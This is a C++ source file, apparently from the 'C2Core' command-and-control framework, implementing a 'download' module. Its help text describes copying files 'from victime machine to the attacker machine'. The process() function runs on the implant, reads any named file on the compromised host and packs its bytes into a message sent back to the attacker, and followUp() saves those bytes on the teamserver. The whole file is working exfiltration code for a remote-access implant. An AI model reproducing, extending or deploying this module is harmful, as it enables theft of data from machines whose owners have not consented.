Files
maxDcb-C2Core/modules/Download/Download.cpp
T
2024-05-07 10:59:19 -04:00

105 lines
2.0 KiB
C++

#include "Download.hpp"
#include <cstring>
#include "Common.hpp"
using namespace std;
constexpr std::string_view moduleName = "download";
constexpr unsigned long moduleHash = djb2(moduleName);
#ifdef _WIN32
__declspec(dllexport) Download* DownloadConstructor()
{
return new Download();
}
#endif
Download::Download()
#ifdef BUILD_TEAMSERVER
: ModuleCmd(std::string(moduleName), moduleHash)
#else
: ModuleCmd("", moduleHash)
#endif
{
}
Download::~Download()
{
}
std::string Download::getInfo()
{
std::string info;
#ifdef BUILD_TEAMSERVER
info += "download:\n";
info += "Download a file from victime machine to the attacker machine\n";
info += "exemple:\n";
info += "- download c:\\temp\\toto.exe c:\\temp\\toto.exe\n";
#endif
return info;
}
int Download::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
{
if (splitedCmd.size() == 3)
{
string inputFile = splitedCmd[1];
string outputFile = splitedCmd[2];
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_inputfile(inputFile);
c2Message.set_outputfile(outputFile);
}
else
{
c2Message.set_returnvalue(getInfo());
return -1;
}
return 0;
}
int Download::process(C2Message &c2Message, C2Message &c2RetMessage)
{
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_cmd("");
c2RetMessage.set_inputfile(c2Message.inputfile());
c2RetMessage.set_outputfile(c2Message.outputfile());
std::string inputFile = c2Message.inputfile();
std::ifstream input(inputFile, std::ios::binary);
if( input )
{
std::string buffer(std::istreambuf_iterator<char>(input), {});
c2RetMessage.set_returnvalue("Success.");
c2RetMessage.set_data(buffer.data(), buffer.size());
}
else
{
c2RetMessage.set_returnvalue("Failed: Couldn't open file.");
}
return 0;
}
int Download::followUp(const C2Message &c2RetMessage)
{
std::string outputFile = c2RetMessage.outputfile();
std::ofstream output(outputFile, std::ios::binary);
const std::string buffer = c2RetMessage.data();
output << buffer;
output.close();
return 0;
}